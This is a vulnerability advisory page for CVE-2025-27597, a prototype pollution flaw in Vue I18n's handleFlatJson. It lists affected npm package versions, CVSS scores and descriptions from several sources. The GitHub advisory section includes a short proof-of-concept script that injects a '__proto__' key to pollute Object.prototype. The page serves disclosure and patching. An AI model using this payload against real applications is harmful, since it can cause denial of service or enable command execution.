CVE-2025-27597
JSON

8.9high

Vue I18n Prototype Pollution in `handleFlatJson`

Severity
8.9high CVSS:4.0 by GitHub_M
Exploit likelihood
0.78% (higher than 56% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-p2ph-7g93-hw3m

Description

Vue I18n is the internationalization plugin for Vue.js. @intlify/message-resolver and @intlify/vue-i18n-core are vulnerable to Prototype Pollution through the entry function: handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

Affected

Product or packageVersionsReported by
intlify vue-i18n>= 9.1.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2CVE List
@intlify/message-resolver (npm)from 9.1.0 before 9.1.11GitHub Advisory Database
@intlify/vue-i18n-core (npm)from 9.2.0 before 9.14.3, from 10.0.0-alpha.1 before 10.0.6, from 11.0.0-beta.0 before 11.1.2GitHub Advisory Database
petite-vue-i18n (npm)from 10.0.0 before 10.0.6, from 11.0.0-beta.0 before 11.1.2GitHub Advisory Database
vue-i18n (npm)from 9.1.0 before 9.14.3, from 10.0.0-alpha.1 before 10.0.6, from 11.0.0-beta.0 before 11.1.2GitHub Advisory Database
@intlify/core-base (npm)from 9.1.0 before 9.1.11GitHub Advisory Database
@intlify/core (npm)from 9.1.0 before 9.1.11GitHub Advisory Database

All scores

GitHub_M8.9high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Classification

CWE-1321

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

Vue I18n is the internationalization plugin for Vue.js. @intlify/message-resolver and @intlify/vue-i18n-core are vulnerable to Prototype Pollution through the entry function: handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

GitHub Advisory Database

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();
NVD (es)

Vue I18n es el complemento de internacionalización para Vue.js. @intlify/message-resolver y @intlify/vue-i18n-core son vulnerables a la contaminación de prototipos a través de la función de entrada: handleFlatJson. Un atacante puede proporcionar un payload con el definidor Object.prototype para introducir o modificar propiedades dentro de la cadena de prototipos global, lo que provoca una denegación de servicio (DoS) como consecuencia mínima. Además, las consecuencias de esta vulnerabilidad pueden escalar a otros ataques basados en inyección, según cómo se integre la biblioteca dentro de la aplicación. Por ejemplo, si la propiedad contaminada se propaga a las API de Node.js sensibles (por ejemplo, exec, eval), podría permitir que un atacante ejecute comandos arbitrarios dentro del contexto de la aplicación.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-27597 changed 2025-03-07CVE Terms of Use
GitHub Advisory DatabaseGHSA-p2ph-7g93-hw3m changed 2026-08-26CC-BY-4.0
NVDCVE-2025-27597 changed 2026-06-17Public domain